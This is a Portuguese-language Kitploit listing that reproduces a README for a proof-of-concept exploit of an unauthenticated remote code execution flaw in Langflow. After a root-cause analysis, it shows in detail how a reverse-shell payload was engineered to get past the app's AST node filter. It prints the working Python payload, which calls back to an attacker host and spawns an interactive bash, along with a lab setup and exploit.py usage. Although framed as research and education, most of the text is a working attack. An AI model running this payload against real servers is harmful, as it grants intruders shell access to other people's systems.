Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-33017 — Exploit de PoC para um RCE não autenticado no Langflow <=1.8.1, incluindo análise de causa raiz no nível do código-fonte, payload de reverse shell ciente de AST, laboratório Docker, diff do patch e regras de detecção. | Kitploit
Ferramentas/GitHubGitHub/lxxexxbxx/cve-2026-33017
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Exploit de PoC para um RCE não autenticado no Langflow <=1.8.1, incluindo análise de causa raiz no nível do código-fonte, payload de reverse shell ciente de AST, laboratório Docker, diff do patch e regras de detecção.

Ver Repositório
1110há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

Aviso de isenção de responsabilidade
Este repositório foi criado para fins de pesquisa e educação em segurança.
Use apenas em ambientes de laboratório isolados.
O uso em sistemas não autorizados é passível de sanção penal por violação da Lei de Redes de Informação e Comunicação.


1. Visão geral da vulnerabilidade

ItemDescrição
CVE IDCVE-2026-33017
Software vulnerávelLangflow (construtor de fluxos de trabalho de IA)
Versões afetadasLangflow ≤ 1.8.1
Versão corrigidaLangflow ≥ 1.9.0
Tipo de vulnerabilidadeExecução Remota de Código (RCE) sem autenticação
CWECWE-306 (Ausência de Autenticação para Função Crítica)
CVSS9.3 (Crítica)
CISA KEVListada

2. Análise da causa da vulnerabilidade

2-1. Endpoint vulnerável

POST /api/v1/build_public_tmp/{flow_id}/flow

Endpoint destinado à compilação de fluxos públicos, projetado para ser acessível sem autenticação.

2-2. Caminho de execução de código (Call Chain)

Caminho de execução confirmado por rastreamento direto do código-fonte:

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← recebe a entrada do cliente tal como está (vulnerabilidade)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← repassa os dados do cliente tal como estão
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← execução de código arbitrário

2-3. Filtragem de nós AST — restrição central do design do payload

A função prepare_global_scope() não executa todas as declarações do código submetido. Após o parsing da AST, apenas tipos específicos de nós são selecionados e executados:

# lfx/custom/validate.py — interior de prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ O nó Expr não é incluído em nenhum lugar → não é executado

exec(compiled_code, exec_globals)  # executa apenas definitions
Tipo de nó ASTExemploExecutado?
FunctionDefdef _shell(): ...✅ Sim
ClassDefclass ExploitComponent(Component)✅ Sim
Assign_r = os.system("id")✅ Sim
AnnAssign_r: int = os.system("id")✅ Sim
Expros.system("id") (chamada avulsa)❌ Ignorado

Conclusão: o payload precisa obrigatoriamente ser escrito na forma de Assign (_r = ...) para ser executado.
Uma simples chamada de função (os.system("id")) é classificada como nó Expr e é filtrada.

2-4. Processo de design do payload de reverse shell — análise de tentativas e falhas

Durante o laboratório, diversas abordagens de payload foram testadas e a causa de cada falha foi identificada no nível do código-fonte.

Tentativa 1 — subprocess.Popen + wait() (falhou)

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← bloqueando aqui

Causa da falha: a thread de trabalho do Langflow monitora o valor de retorno do componente e, em caso de timeout, fecha o socket à força. O bloqueio _proc.wait() torna-se inútil.

Tentativa 2 — chamada direta de os.execve() (falhou)

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

Causa da falha: de acordo com as regras POSIX, em um processo multithread, ao chamar execve(), todas as threads, exceto a thread que realizou a chamada, são encerradas → o worker do uvicorn inteiro trava → HTTP 500.

Tentativa 3 — os.fork() + execve() (falhou)

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

Causa da falha: o uvicorn detecta o processo filho como encerrado de forma anormal e reinicia o worker → HTTP 500.

Tentativa 4 — threading.Thread(daemon=True) (falhou)

threading.Thread(target=_shell, daemon=True).start()

Causa da falha: uma thread com daemon=True é destruída junto com a thread principal (worker do Langflow) quando esta termina. A thread morre antes mesmo da tentativa de connect().

Payload funcional final — threading.Thread(daemon=False) + Assign

# FunctionDef → executado
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → executado (como a chamada avulsa de Expr é excluída pelo filtro, é obrigatória a atribuição a uma variável)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

Motivo da escolha de daemon=False:

  • daemon=True → é destruída junto com a thread de trabalho do Langflow quando esta termina
  • daemon=False → ciclo de vida independente do worker → permite manter a conexão de socket

3. Configuração do ambiente de laboratório

3-1. Estrutura de arquivos

CVE-2026-33017/
├── README.md
├── Dockerfile              # ambiente Langflow 1.8.1 vulnerável
├── Dockerfile.attacker     # contêiner do atacante (inclui curl, nc, net-tools)
├── docker-compose.yml      # servidor vulnerável + contêiner do atacante
├── entrypoint.sh           # inicia o Langflow e cria automaticamente um fluxo público
├── exploit.py              # PoC de reverse shell
└── poc.py                  # Blind RCE / verificação da existência da vulnerabilidade

3-2. Inicialização do ambiente

# 1. Compilar e iniciar o contêiner
docker compose up --build

# 2. Verificar o acesso à interface web do Langflow
# http://localhost:7860
# admin / admin123!

# 3. Verificar o IP do contêiner
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. Configuração de rede

┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (vítima)   │
│  langflow-attacker   172.19.0.3       (atacante) │
└──────────────────────────────────────────────────┘

4. Uso do PoC

4-1. exploit.py — reverse shell

Execute dentro do contêiner do atacante:

docker exec -it langflow-attacker bash

# modo automático (obtenção de token + criação de fluxo público + listener integrado)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

Opções:

OpçãoDescriçãoPadrão
--urlURL do Langflow alvoObrigatório
--lhostIP de callback do reverse shellObrigatório
--lportPorta de callback do reverse shellObrigatório
--flow-idUUID do fluxo público (criado automaticamente se omitido)automático
--userID do administradoradmin
--passwordSenha do administradoradmin123!
--no-listenDesativa o listener integrado (ao usar nc externo)False
--timeoutTimeout HTTP (segundos)30

Saída esperada:

Baixar ferramenta